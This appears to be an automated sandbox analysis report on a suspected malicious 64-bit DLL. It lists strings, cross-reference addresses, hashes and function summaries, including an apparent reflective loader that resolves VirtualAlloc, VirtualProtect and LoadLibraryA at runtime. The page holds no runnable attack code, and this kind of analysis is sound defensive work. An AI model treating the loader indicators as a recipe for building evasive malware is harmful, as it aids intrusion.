%, xrefs: 00007FFE354F7ECF
6, xrefs: 00007FFE354F471F
", xrefs: 00007FFE354F4237
w, xrefs: 00007FFE354F703F
z, xrefs: 00007FFE354F47A7
[, xrefs: 00007FFE354F5F3F
Y, xrefs: 00007FFE354F44D7
A, xrefs: 00007FFE354F4457
<, xrefs: 00007FFE354F5C7F
Y, xrefs: 00007FFE354F8D47
C, xrefs: 00007FFE354F5837
P, xrefs: 00007FFE354F7D5F
W, xrefs: 00007FFE354F45CF
$, xrefs: 00007FFE354F4947
M, xrefs: 00007FFE354F7E57
a, xrefs: 00007FFE354F885F
/, xrefs: 00007FFE354F4BFF
b, xrefs: 00007FFE354F6247
b, xrefs: 00007FFE354F6FAF
p, xrefs: 00007FFE354F650F
v, xrefs: 00007FFE354F5267
6, xrefs: 00007FFE354F6237
m, xrefs: 00007FFE354F8477
N, xrefs: 00007FFE354F5567
&, xrefs: 00007FFE354F549F
Z, xrefs: 00007FFE354F6B87
/, xrefs: 00007FFE354F4DF7
N, xrefs: 00007FFE354F43DF
N, xrefs: 00007FFE354F642F
H, xrefs: 00007FFE354F7BB7
:, xrefs: 00007FFE354F5C1F
e, xrefs: 00007FFE354F59C7
0, xrefs: 00007FFE354F41A7
i, xrefs: 00007FFE354F6F3F
Q, xrefs: 00007FFE354F6847
), xrefs: 00007FFE354F7817
{, xrefs: 00007FFE354F433F
H, xrefs: 00007FFE354F6E87
', xrefs: 00007FFE354F676F
5, xrefs: 00007FFE354F87A7
M, xrefs: 00007FFE354F8437
S, xrefs: 00007FFE354F463F
%, xrefs: 00007FFE354F4897
&, xrefs: 00007FFE354F72EF
R, xrefs: 00007FFE354F43B7
C, xrefs: 00007FFE354F4987
?, xrefs: 00007FFE354F7807
U, xrefs: 00007FFE354F59F7
0, xrefs: 00007FFE354F8C37
I, xrefs: 00007FFE354F6D8F
Z, xrefs: 00007FFE354F67D7
w, xrefs: 00007FFE354F5E17
b, xrefs: 00007FFE354F8F2F
q, xrefs: 00007FFE354F606F
S, xrefs: 00007FFE354F8DB7
9, xrefs: 00007FFE354F8B4F
<, xrefs: 00007FFE354F6A7F
7, xrefs: 00007FFE354F64EF
M, xrefs: 00007FFE354F586F
), xrefs: 00007FFE354F70DF
j, xrefs: 00007FFE354F5877
g, xrefs: 00007FFE354F5A97
j, xrefs: 00007FFE354F67E7
%, xrefs: 00007FFE354F4837
2, xrefs: 00007FFE354F5167
2, xrefs: 00007FFE354F823F
i, xrefs: 00007FFE354F7A87
], xrefs: 00007FFE354F8C7F
&, xrefs: 00007FFE354F6C37
J, xrefs: 00007FFE354F4C87
s, xrefs: 00007FFE354F8127
G, xrefs: 00007FFE354F646F
l, xrefs: 00007FFE354F7367
], xrefs: 00007FFE354F51B7
<, xrefs: 00007FFE354F4D07
", xrefs: 00007FFE354F79F7
}, xrefs: 00007FFE354F8907
Y, xrefs: 00007FFE354F821F
X, xrefs: 00007FFE354F6927
., xrefs: 00007FFE354F4E77
I, xrefs: 00007FFE354F8F27
/, xrefs: 00007FFE354F814F
l, xrefs: 00007FFE354F9027
~, xrefs: 00007FFE354F7C6F
$, xrefs: 00007FFE354F6367
h, xrefs: 00007FFE354F640F
o, xrefs: 00007FFE354F4AC7
&, xrefs: 00007FFE354F4C6F
i, xrefs: 00007FFE354F759F
b, xrefs: 00007FFE354F833F
m, xrefs: 00007FFE354F5047
&, xrefs: 00007FFE354F53E7
k, xrefs: 00007FFE354F5D6F
n, xrefs: 00007FFE354F82C7
], xrefs: 00007FFE354F7207
B, xrefs: 00007FFE354F4A6F
%, xrefs: 00007FFE354F7927
y, xrefs: 00007FFE354F725F
{, xrefs: 00007FFE354F46F7
t, xrefs: 00007FFE354F75BF
#, xrefs: 00007FFE354F50DF
#, xrefs: 00007FFE354F4BCF
b, xrefs: 00007FFE354F84AF
{, xrefs: 00007FFE354F462F
#, xrefs: 00007FFE354F85B7
", xrefs: 00007FFE354F6C9F
o, xrefs: 00007FFE354F692F
Y, xrefs: 00007FFE354F64BF
4, xrefs: 00007FFE354F4717
8, xrefs: 00007FFE354F7867
V, xrefs: 00007FFE354F76A7
m, xrefs: 00007FFE354F5907
T, xrefs: 00007FFE354F47EF
0, xrefs: 00007FFE354F42BF
q, xrefs: 00007FFE354F69F7
p, xrefs: 00007FFE354F4C57
o, xrefs: 00007FFE354F7F87
&, xrefs: 00007FFE354F4E37
2, xrefs: 00007FFE354F4107
', xrefs: 00007FFE354F68E7
1, xrefs: 00007FFE354F6177
h, xrefs: 00007FFE354F839F
I, xrefs: 00007FFE354F45F7
=, xrefs: 00007FFE354F4357
P, xrefs: 00007FFE354F74AF
, xrefs: 00007FFE354F6147
,, xrefs: 00007FFE354F8ACF
k, xrefs: 00007FFE354F5617
$, xrefs: 00007FFE354F888F
p, xrefs: 00007FFE354F565F
N, xrefs: 00007FFE354F436F
&, xrefs: 00007FFE354F7CF7
n, xrefs: 00007FFE354F56C7
M, xrefs: 00007FFE354F6AB7
K, xrefs: 00007FFE354F6607
d, xrefs: 00007FFE354F769F
@, xrefs: 00007FFE354F7F9F
M, xrefs: 00007FFE354F4617
f, xrefs: 00007FFE354F43FF
T, xrefs: 00007FFE354F56B7
y, xrefs: 00007FFE354F698F
X, xrefs: 00007FFE354F4427
q, xrefs: 00007FFE354F5DCF
_, xrefs: 00007FFE354F513F
0, xrefs: 00007FFE354F8A4F
3, xrefs: 00007FFE354F53CF
0, xrefs: 00007FFE354F486F
@, xrefs: 00007FFE354F8BAF
[, xrefs: 00007FFE354F736F
t, xrefs: 00007FFE354F514F
W, xrefs: 00007FFE354F7037
(, xrefs: 00007FFE354F511F
v, xrefs: 00007FFE354F7097
H, xrefs: 00007FFE354F8757
Q, xrefs: 00007FFE354F56A7
Z, xrefs: 00007FFE354F42EF
#, xrefs: 00007FFE354F6D1F
5, xrefs: 00007FFE354F60BF
Y, xrefs: 00007FFE354F77D7
7, xrefs: 00007FFE354F7657
E, xrefs: 00007FFE354F6007
$, xrefs: 00007FFE354F90EF
&, xrefs: 00007FFE354F81BF
5, xrefs: 00007FFE354F6AEF
k, xrefs: 00007FFE354F5A4F
W, xrefs: 00007FFE354F79CF
., xrefs: 00007FFE354F816F
\, xrefs: 00007FFE354F4647
', xrefs: 00007FFE354F5B2F
*, xrefs: 00007FFE354F69D7
|, xrefs: 00007FFE354F7B2F
', xrefs: 00007FFE354F70A7
g, xrefs: 00007FFE354F52BF
5, xrefs: 00007FFE354F4C2F
c, xrefs: 00007FFE354F81AF
%, xrefs: 00007FFE354F7FA7
j, xrefs: 00007FFE354F5E67
%, xrefs: 00007FFE354F5B8F
t, xrefs: 00007FFE354F5967
m, xrefs: 00007FFE354F851F
+, xrefs: 00007FFE354F4817
u, xrefs: 00007FFE354F65DF
i, xrefs: 00007FFE354F4E1F
q, xrefs: 00007FFE354F5387
q, xrefs: 00007FFE354F613F
), xrefs: 00007FFE354F7837
%, xrefs: 00007FFE354F6A87
l, xrefs: 00007FFE354F4657
~, xrefs: 00007FFE354F7ADF
\, xrefs: 00007FFE354F473F
\, xrefs: 00007FFE354F6597
z, xrefs: 00007FFE354F723F
$, xrefs: 00007FFE354F7527
V, xrefs: 00007FFE354F6BA7
P, xrefs: 00007FFE354F516F
;, xrefs: 00007FFE354F7007
N, xrefs: 00007FFE354F7877
m, xrefs: 00007FFE354F5A8F
4, xrefs: 00007FFE354F6CA7
`, xrefs: 00007FFE354F8B47
Z, xrefs: 00007FFE354F494F
(, xrefs: 00007FFE354F60E7
N, xrefs: 00007FFE354F528F
b, xrefs: 00007FFE354F77AF
1, xrefs: 00007FFE354F40B7
*, xrefs: 00007FFE354F57C7
`, xrefs: 00007FFE354F680F
O, xrefs: 00007FFE354F7C4F
<, xrefs: 00007FFE354F415F
J, xrefs: 00007FFE354F4F6F
/, xrefs: 00007FFE354F893F
n, xrefs: 00007FFE354F8EF7
e, xrefs: 00007FFE354F4337
5, xrefs: 00007FFE354F7E07
d, xrefs: 00007FFE354F66BF
k, xrefs: 00007FFE354F465F
Z, xrefs: 00007FFE354F445F
Q, xrefs: 00007FFE354F6B5F
., xrefs: 00007FFE354F5CB7
&, xrefs: 00007FFE354F6877
w, xrefs: 00007FFE354F5027
}, xrefs: 00007FFE354F4D67
(, xrefs: 00007FFE354F49C7
k, xrefs: 00007FFE354F7F37
-, xrefs: 00007FFE354F88EF
;, xrefs: 00007FFE354F73EF
X, xrefs: 00007FFE354F55C7
z, xrefs: 00007FFE354F7EB7
h, xrefs: 00007FFE354F6697
8, xrefs: 00007FFE354F8AB7
&, xrefs: 00007FFE354F63A7
,, xrefs: 00007FFE354F4147
), xrefs: 00007FFE354F908F
%, xrefs: 00007FFE354F8A57
$, xrefs: 00007FFE354F5507
m, xrefs: 00007FFE354F7357
d, xrefs: 00007FFE354F65B7
/, xrefs: 00007FFE354F5A67
?, xrefs: 00007FFE354F41AF
., xrefs: 00007FFE354F4187
}, xrefs: 00007FFE354F6867
*, xrefs: 00007FFE354F76BF
t, xrefs: 00007FFE354F8FBF
!, xrefs: 00007FFE354F61B7
K, xrefs: 00007FFE354F4757
5, xrefs: 00007FFE354F7F97
l, xrefs: 00007FFE354F913F
i, xrefs: 00007FFE354F7AB7
`, xrefs: 00007FFE354F7547
*, xrefs: 00007FFE354F564F
}, xrefs: 00007FFE354F7047
Z, xrefs: 00007FFE354F5927
J, xrefs: 00007FFE354F541F
@, xrefs: 00007FFE354F43D7
x, xrefs: 00007FFE354F63D7
#, xrefs: 00007FFE354F68B7
>, xrefs: 00007FFE354F568F
f, xrefs: 00007FFE354F5D8F
&, xrefs: 00007FFE354F827F
*, xrefs: 00007FFE354F643F
., xrefs: 00007FFE354F770F
b, xrefs: 00007FFE354F7D47
d, xrefs: 00007FFE354F40E7
+, xrefs: 00007FFE354F50F7
n, xrefs: 00007FFE354F63FF
^, xrefs: 00007FFE354F90BF
t, xrefs: 00007FFE354F719F
j, xrefs: 00007FFE354F6B1F
w, xrefs: 00007FFE354F5C37
w, xrefs: 00007FFE354F89CF
C, xrefs: 00007FFE354F659F
k, xrefs: 00007FFE354F7BF7
J, xrefs: 00007FFE354F454F
g, xrefs: 00007FFE354F504F
7, xrefs: 00007FFE354F5F2F
f, xrefs: 00007FFE354F90F7
g, xrefs: 00007FFE354F5377
%, xrefs: 00007FFE354F6427
t, xrefs: 00007FFE354F7447
u, xrefs: 00007FFE354F68AF
(, xrefs: 00007FFE354F6047
3, xrefs: 00007FFE354F8377
|, xrefs: 00007FFE354F862F
1, xrefs: 00007FFE354F4E5F
n, xrefs: 00007FFE354F7EAF
s, xrefs: 00007FFE354F66B7
j, xrefs: 00007FFE354F6D97
?, xrefs: 00007FFE354F6C0F
9, xrefs: 00007FFE354F6977
-, xrefs: 00007FFE354F40F7
i, xrefs: 00007FFE354F589F
N, xrefs: 00007FFE354F48AF
u, xrefs: 00007FFE354F6737
", xrefs: 00007FFE354F74A7
X, xrefs: 00007FFE354F8B5F
9, xrefs: 00007FFE354F838F
j, xrefs: 00007FFE354F8BD7
g, xrefs: 00007FFE354F753F
a, xrefs: 00007FFE354F732F
/, xrefs: 00007FFE354F82D7
s, xrefs: 00007FFE354F5077
$, xrefs: 00007FFE354F5297
k, xrefs: 00007FFE354F878F
m, xrefs: 00007FFE354F4EF7
c, xrefs: 00007FFE354F6077
B, xrefs: 00007FFE354F5C07
P, xrefs: 00007FFE354F9067
., xrefs: 00007FFE354F8277
[, xrefs: 00007FFE354F834F
?, xrefs: 00007FFE354F5037
W, xrefs: 00007FFE354F48CF
z, xrefs: 00007FFE354F6F37
g, xrefs: 00007FFE354F6937
<, xrefs: 00007FFE354F6617
i, xrefs: 00007FFE354F7D77
*, xrefs: 00007FFE354F78B7
n, xrefs: 00007FFE354F521F
?, xrefs: 00007FFE354F5FDF
B, xrefs: 00007FFE354F5357
(, xrefs: 00007FFE354F708F
s, xrefs: 00007FFE354F6687
d, xrefs: 00007FFE354F7027
s, xrefs: 00007FFE354F621F
t, xrefs: 00007FFE354F78F7
q, xrefs: 00007FFE354F70E7
2, xrefs: 00007FFE354F746F
p, xrefs: 00007FFE354F624F
#, xrefs: 00007FFE354F8297
Z, xrefs: 00007FFE354F6C07
t, xrefs: 00007FFE354F5627
+, xrefs: 00007FFE354F60DF
(, xrefs: 00007FFE354F408F
,, xrefs: 00007FFE354F8E1F
n, xrefs: 00007FFE354F661F
/, xrefs: 00007FFE354F5B3F
V, xrefs: 00007FFE354F79C7
>, xrefs: 00007FFE354F456F
,, xrefs: 00007FFE354F91DF
a, xrefs: 00007FFE354F508F
t, xrefs: 00007FFE354F66C7
+, xrefs: 00007FFE354F4C8F
v, xrefs: 00007FFE354F6FCF
7, xrefs: 00007FFE354F5B27
, xrefs: 00007FFE354F5C47
#, xrefs: 00007FFE354F78DF
U, xrefs: 00007FFE354F6C3F
s, xrefs: 00007FFE354F7ABF
*, xrefs: 00007FFE354F6A07
_, xrefs: 00007FFE354F75F7
#, xrefs: 00007FFE354F47FF
z, xrefs: 00007FFE354F4C5F
o, xrefs: 00007FFE354F44C7
{, xrefs: 00007FFE354F68EF
q, xrefs: 00007FFE354F5ADF
t, xrefs: 00007FFE354F574F
*, xrefs: 00007FFE354F8E3F
l, xrefs: 00007FFE354F4B3F
6, xrefs: 00007FFE354F47DF
N, xrefs: 00007FFE354F8A5F
_, xrefs: 00007FFE354F585F
s, xrefs: 00007FFE354F46C7
, xrefs: 00007FFE354F4D7F
n, xrefs: 00007FFE354F43EF
', xrefs: 00007FFE354F46CF
M, xrefs: 00007FFE354F59E7
g, xrefs: 00007FFE354F7E67
b, xrefs: 00007FFE354F54B7
s, xrefs: 00007FFE354F7727
k, xrefs: 00007FFE354F712F
^, xrefs: 00007FFE354F8C57
8, xrefs: 00007FFE354F5AB7
y, xrefs: 00007FFE354F8787
I, xrefs: 00007FFE354F4B37
@, xrefs: 00007FFE354F671F
3, xrefs: 00007FFE354F580F
U, xrefs: 00007FFE354F5457
2, xrefs: 00007FFE354F653F
k, xrefs: 00007FFE354F8657
@, xrefs: 00007FFE354F8C87
*, xrefs: 00007FFE354F6A47
l, xrefs: 00007FFE354F87AF
~, xrefs: 00007FFE354F80FF
>, xrefs: 00007FFE354F6657
:, xrefs: 00007FFE354F482F
c, xrefs: 00007FFE354F6F5F
8, xrefs: 00007FFE354F5DA7
*, xrefs: 00007FFE354F6EA7
W, xrefs: 00007FFE354F89A7
C, xrefs: 00007FFE354F58E7
x, xrefs: 00007FFE354F5737
A, xrefs: 00007FFE354F8DDF
k, xrefs: 00007FFE354F7617
=, xrefs: 00007FFE354F57E7
_, xrefs: 00007FFE354F68BF
, xrefs: 00007FFE354F8D6F
Z, xrefs: 00007FFE354F820F
&, xrefs: 00007FFE354F4197
i, xrefs: 00007FFE354F916F
2, xrefs: 00007FFE354F5517
*, xrefs: 00007FFE354F497F
9, xrefs: 00007FFE354F4FD7
r, xrefs: 00007FFE354F8FD7
", xrefs: 00007FFE354F8F77
X, xrefs: 00007FFE354F5327
+, xrefs: 00007FFE354F844F
P, xrefs: 00007FFE354F556F
5, xrefs: 00007FFE354F7067
j, xrefs: 00007FFE354F6287
v, xrefs: 00007FFE354F7A1F
L, xrefs: 00007FFE354F41DF
%, xrefs: 00007FFE354F67EF
g, xrefs: 00007FFE354F5E6F
|, xrefs: 00007FFE354F67FF
8, xrefs: 00007FFE354F73BF
[, xrefs: 00007FFE354F6767
S, xrefs: 00007FFE354F7237
K, xrefs: 00007FFE354F8EAF
x, xrefs: 00007FFE354F89E7
_, xrefs: 00007FFE354F745F
1, xrefs: 00007FFE354F4C27
w, xrefs: 00007FFE354F4EFF
$, xrefs: 00007FFE354F5EFF
], xrefs: 00007FFE354F88A7
4, xrefs: 00007FFE354F6D5F
j, xrefs: 00007FFE354F8B27
), xrefs: 00007FFE354F7F8F
5, xrefs: 00007FFE354F5147
o, xrefs: 00007FFE354F5667
%, xrefs: 00007FFE354F49A7
P, xrefs: 00007FFE354F6717
W, xrefs: 00007FFE354F6A4F
:, xrefs: 00007FFE354F428F

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $ $ $ $ $ $!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$"$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$'$'$'$'$'$'$'$'$'$'$'$'$'$($($($($($($($($($($($($($($($)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$+$+$+$+$+$+$+$+$+$+$+$+$+$+$+$+$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$-$-$-$-$-$-$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$/$0$0$0$0$0$0$0$0$0$0$0$0$0$0$1$1$1$1$1$1$1$1$1$1$1$1$1$2$2$2$2$2$2$2$2$2$2$2$3$3$3$3$3$3$3$3$3$3$3$3$4$4$4$4$4$4$4$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$6$6$6$6$6$6$6$6$7$7$7$7$7$7$8$8$8$8$8$8$8$8$8$8$8$8$8$9$9$9$9$9$9$9$9$9$9$9$9$:$:$:$:$:$:$;$;$;$;$;$;$;$;$;$;$;$;$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$=$=$=$=$=$=$>$>$>$>$>$>$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$?$@$@$@$@$@$@$@$@$A$A$A$A$A$A$A$B$B$B$B$B$C$C$C$C$C$C$C$C$C$C$C$C$D$D$D$D$D$D$E$E$E$E$E$E$E$F$F$F$F$F$F$G$G$G$G$G$G$G$G$G$G$G$H$H$H$H$H$H$H$H$H$I$I$I$I$I$I$I$I$J$J$J$J$J$J$J$J$J$J$J$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$L$L$L$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$N$N$N$N$N$N$N$N$N$N$N$N$N$O$O$O$O$O$O$O$O$O$O$O$P$P$P$P$P$P$P$P$P$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$S$S$S$S$S$S$T$T$T$T$T$T$T$T$T$T$T$T$U$U$U$U$U$U$U$U$U$U$U$U$V$V$V$V$V$V$V$V$V$V$V$V$V$V$W$W$W$W$W$W$W$W$W$W$W$W$W$W$X$X$X$X$X$X$X$X$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$[$[$[$[$[$[$[$[$[$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$]$]$]$]$]$]$]$]$]$]$]$]$^$^$^$^$^$^$^$^$_$_$_$_$_$_$_$_$_$_$_$_$_$_$`$`$`$`$`$`$`$`$`$`$`$`$`$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$c$c$c$c$c$c$c$c$c$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$f$f$f$f$f$f$f$f$f$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$h$h$h$h$h$h$h$h$h$h$h$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$o$o$o$p$p$p$p$p$p$p$p$p$p$p$p$p$p$p$q$q$q$q$q$q$q$q$q$q$q$q$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$u$u$u$u$u$u$u$u$v$v$v$v$v$v$v$v$v$v$w$w$w$w$w$w$w$w$w$w$w$w$x$x$x$x$x$x$x$x$y$y$y$y$y$y$y$z$z$z$z$z$z$z$z$z$z$z$z$z$z$z$z$z${${${${${${${${${${${${$|$|$|$|$|$|$|$|$|$|$}$}$}$}$}$}$}$}$}$}$}$}$}$}$}$}$}$~$~$~$~$~$~$~$~$~$~$~$~$~$~$~$~
API String ID: 0-872547024
Opcode ID: 603ac7a5292f1ed04f74ff95b0f3f301494456503afa6b4dba73eb30459706e8
Instruction ID: 5959f4462c16a8f47cfc540b4055be293562dcfa0c2750097b8ad321c5c0a76c
Opcode Fuzzy Hash: 603ac7a5292f1ed04f74ff95b0f3f301494456503afa6b4dba73eb30459706e8
Instruction Fuzzy Hash: 93A35E1250DBC1C9E332C23CB45878FAE9193A3319F484299D3E41AADBC7AE8155DF67

Uniqueness

Uniqueness Score: -1.00%

Function 0000027280130000 Relevance: 53.5, APIs: 4, Strings: 26, Instructions: 953
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE ref: 0000027280130344
VirtualAlloc.KERNELBASE ref: 000002728013038A
VirtualProtect.KERNELBASE ref: 000002728013085C
RtlAvlRemoveNode.NTDLL ref: 00000272801308E9

Strings

ct, xrefs: 00000272801300DD
rote, xrefs: 00000272801300D5
truc, xrefs: 00000272801300F2
Slee, xrefs: 0000027280130084
Load, xrefs: 0000027280130095
eSys, xrefs: 0000027280130117
ualP, xrefs: 00000272801300CD
GetN, xrefs: 0000027280130107
aryA, xrefs: 00000272801300A5
temI, xrefs: 000002728013011F
hIns, xrefs: 00000272801300EB
Libr, xrefs: 000002728013009D
RtlA, xrefs: 0000027280130133
lloc, xrefs: 00000272801300BD
Cach, xrefs: 0000027280130100
Virt, xrefs: 00000272801300C5
tion, xrefs: 00000272801300F9
Flus, xrefs: 00000272801300E4
ddFu, xrefs: 000002728013013A
o, xrefs: 000002728013012E
ncti, xrefs: 0000027280130141
ativ, xrefs: 000002728013010F
ualA, xrefs: 00000272801300B5
nf, xrefs: 0000027280130127
onTa, xrefs: 0000027280130148
Virt, xrefs: 00000272801300AD

Memory Dump Source

Source File: 00000000.00000002.263444597.0000027280130000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000027280130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27280130000_loaddll64.jbxd

Similarity

API ID: Virtual$AllocInfoNativeNodeProtectRemoveSystem
String ID: Cach$Flus$GetN$Libr$Load$RtlA$Slee$Virt$Virt$aryA$ativ$ct$ddFu$eSys$hIns$lloc$ncti$nf$o$onTa$rote$temI$tion$truc$ualA$ualP
API String ID: 1419936716-3605381585
Opcode ID: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction ID: 4853334f1d3df2a5ef7c0dd19b4038a6370ebd983fa9f29249169496b3fb8764
Opcode Fuzzy Hash: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction Fuzzy Hash: 94621530618B08CBDB29DF58C8997BAB3E0FB44714F15522DD88EC7251EB39E546CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004DDC Relevance: 7.8, Strings: 6, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

+, xrefs: 000000018000530C
3C, xrefs: 0000000180005284
Q+, xrefs: 000000018000533C
@_, xrefs: 0000000180004EFC
w, xrefs: 00000001800050FF
u, xrefs: 0000000180004DEF

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: @_$Q+$w$+$3C$u
API String ID: 0-4152583413
Opcode ID: 9f8a14a22d69b5951a2631c0067e0fc4d36d0f639cba0d102428ca4f006b14de
Instruction ID: b6ea412dc30f19c74fb4b1663690e8dc750e0b49b1240d0c045de5a6b9424b82
Opcode Fuzzy Hash: 9f8a14a22d69b5951a2631c0067e0fc4d36d0f639cba0d102428ca4f006b14de
Instruction Fuzzy Hash: 7D02F67151038DEFDB98DF24C889ADD3BA1FB58398F952219FC0A972A0C774D985CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028C94 Relevance: 6.5, Strings: 5, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

rS, xrefs: 0000000180028F00
SW, xrefs: 0000000180028CD3
t.?8, xrefs: 0000000180029073
3m, xrefs: 0000000180029083
r, xrefs: 0000000180028EC9

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 3m$SW$rS$r$t.?8
API String ID: 0-4220278859
Opcode ID: 85a6ee6c84f7a60e958ee75f08787c2d87ed4ffb25c6bd77534bac28b26f7971
Instruction ID: 5729ab1ff226baa14ab4ffc9551888db56205bfd96deea9119b6bbc9091883bb
Opcode Fuzzy Hash: 85a6ee6c84f7a60e958ee75f08787c2d87ed4ffb25c6bd77534bac28b26f7971
Instruction Fuzzy Hash: F2C1EF7151A784ABD388DF28C5CA95BBBE1FBC4744F906A1DF496862A0D7B4D908CF02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005DB4 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>, xrefs: 0000000180005E08
Qz, xrefs: 0000000180005E61
cG, xrefs: 0000000180006018
iP., xrefs: 0000000180005FF3
9, xrefs: 0000000180005E00

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 9$>$Qz$cG$iP.
API String ID: 0-2314038544
Opcode ID: 4158940623df5b63cf90af9ecb6c971ef7c92bce548850bfcd4728ba9d0de4d2
Instruction ID: 2738067ee2515d3e4966bb770307c21824dc71e1dd538b0d2de93925eb972619
Opcode Fuzzy Hash: 4158940623df5b63cf90af9ecb6c971ef7c92bce548850bfcd4728ba9d0de4d2
Instruction Fuzzy Hash: 57815D701497888BEBE8DF24C8C5BDA7BE1FB88344F50551DF88A8B290CB75DA44CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800248E0 Relevance: 5.9, Strings: 4, Instructions: 869
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kr, xrefs: 0000000180024E1A
X, xrefs: 0000000180024D35
Rl, xrefs: 0000000180024C1F
V%?, xrefs: 0000000180024E1D

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Rl$X$kr$V%?
API String ID: 0-1881522904
Opcode ID: 98ff1e27a160c74632e307d872ef1a7f9803bcbde420e3daba4ce0dca79685d9
Instruction ID: 70c5aac2912e64376728126259cd49d2f789cf9a10fb17a3f2cb6be72cb14558
Opcode Fuzzy Hash: 98ff1e27a160c74632e307d872ef1a7f9803bcbde420e3daba4ce0dca79685d9
Instruction Fuzzy Hash: 59A2077051078D8FDB89CF24C88A5DE3BA0FB58398F52531DFC8AA6290D778D595CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800038A5 Relevance: 5.2, Strings: 4, Instructions: 197COMMON

Download Yara Rule

Strings

l@-T, xrefs: 0000000180003AC8
pN, xrefs: 0000000180003B71
+s, xrefs: 0000000180003B8E
x+MS, xrefs: 00000001800039C2

